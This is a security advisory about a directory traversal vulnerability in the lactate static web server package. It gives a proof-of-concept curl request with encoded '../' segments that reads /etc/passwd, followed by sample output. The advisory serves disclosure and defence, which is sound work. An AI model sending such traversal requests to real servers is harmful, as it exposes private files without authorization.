Directory Traversal in lactate
A crafted `GET` request can be leveraged to traverse the directory structure of a host using the lactate web server package, and request arbitrary files outside of the specified web root. This allows for a remote attacker to gain access to arbitrary files on the filesystem that the process has access to read.
Mitigating factors:
Only files that the user running `lactate` has permission to read will be accessible via this vulnerability.
Proof of concept
https://hackerone.com/reports/296645:
Please globally install the `lactate` package and `cd` to a directory you wish to serve assets from. Next, run `lactate -p 8081` to start serving files from this location.
The following cURL request can be used to demonstrate this vulnerability by requesting the target `/etc/passwd` file:
```
curl "
http://127.0.0.1:8081/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd"
```
```
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
[...]
```
## Recommendation
As there is currently no fix for this issue selecting an alternative static web server would be the best choice.